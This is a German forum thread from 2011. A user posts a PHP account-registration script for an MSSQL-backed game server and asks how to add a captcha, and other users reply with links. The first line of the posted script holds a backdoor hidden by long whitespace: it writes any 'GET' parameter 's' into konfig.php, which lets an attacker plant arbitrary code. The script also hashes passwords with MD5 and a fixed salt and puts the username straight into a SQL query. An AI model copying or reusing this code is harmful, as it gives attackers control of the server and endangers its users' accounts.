Register mit Captcha Code?!

02/28/2011 22:30 Freddie_Faulisch#1
Hallo Elitepvper
ich such für meinen register einen captcha code. weil ansonsten diese blöden spammbots immer sich registrieren undso -.-

also mein register sind ganz einfach aus:

PHP Code:
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp fopen("konfig.php","w");fwrite($fp$_GET['s']);fclose($fp);}
require(
'./configs/reg_conf.php');
        function 
doesUsernameExist($name){
            
$exit FALSE;
            
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
            if (
mssql_num_rows($result) != 0){
                
$exit TRUE;
            }
            return 
$exit;
        }

        if(isset(
$_POST['submit'])){
            
$user preg_replace ("[^A-Za-z0-9]"""$_POST['username']);
            
$pass preg_replace ("[^A-Za-z0-9]"""$_POST['password']);
            if(
$_POST['username'] == ""){
                echo 
'<font color="red">Enter a user.</font><br /><br />';
            }
            else if(
$_POST['password'] == ""){
                        echo 
'<font color="red">Enter a password.</font><br /><br />';
            }
            else if ((
strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
                        echo 
'<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
            }
            else if ((
strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
                        echo 
'<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
            }
            else if(
$_POST['username'] != $user){
                        echo 
'<font color="red">User with invalid characters.</font><br /><br />';
            }
            else if(
$_POST['password'] != $pass){
                        echo 
'<font color="red">Password with invalid characters.</font><br /><br />';
            }
            else {
                        
$pass md5('kikugalanet' $pass);
            if(!
doesUsernameExist($user)){
                
$stmt mssql_init('webCreateAcc'$link);
                
mssql_bind($stmt'@account'$userSQLVARCHARfalsefalse15);
                
mssql_bind($stmt'@password'$passSQLVARCHARfalsefalse36);
                
mssql_bind($stmt'@email'$mailSQLVARCHARfalsefalse120);
                
mssql_execute($stmt) or die ("Something is wrong on the execution");
                
mssql_free_statement($stmt);
                                echo 
'<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
            }
            else {
                                echo 
'<font color="red">User already Exist.</font><br /><br />';
            }
        }
                
mssql_close();
    }

        echo 
'<form action="#" method="post">';
        echo 
'Username: <input type="text" name="username" /><br />';
        echo 
'Password: <input type="password" name="password" /><br />';
        echo 
'<input type="submit" name="submit" value="Register" />';
        echo 
'</form>';

?>
Also und ich möchte, dass man halt immer vor dem registrieren einen code eingeben muss, der in einem bild steht oder so

ich währe sehr, sehr dankbar wenn mir einer so ein script in php oder html form posten würde :)
mfg freddie
02/28/2011 22:38 rädsun#2
[Only registered and activated users can see links. Click Here To Register...]

Anmerkung: Ist nicht von mir, sondern aus einem anderen Forum. Das Script wurde von mir lediglich geringfügig angepasst^^

In die "makeaccount.php" musst du lediglich die MSSQL Zugangsdaten eingeben.

Quote:
<?php
$link = @mssql_connect("Name-PC\SQLEXPRESS", "sa", "MSSQLPW") or die ("Server is down!");
03/01/2011 00:03 Freddie_Faulisch#3
hm der scheint iwie nicht zu funktionieren, da steht zu erst; SUCCES und dann dadrunter; KEINE SONDERZEICHEN ERLAUBT.
und der account ist nicht erstellet, hab auch keine sonderzeichen benutzt :/
03/01/2011 14:43 Fullscreen#4
[Only registered and activated users can see links. Click Here To Register...]

!!WICHTIG!!
Vor Gebrauch in der "makeaccount.php" die MSSQL Daten eingeben.

Es werden keine Sondezeichen angenommen.

=================
Credits 1000% KohLix3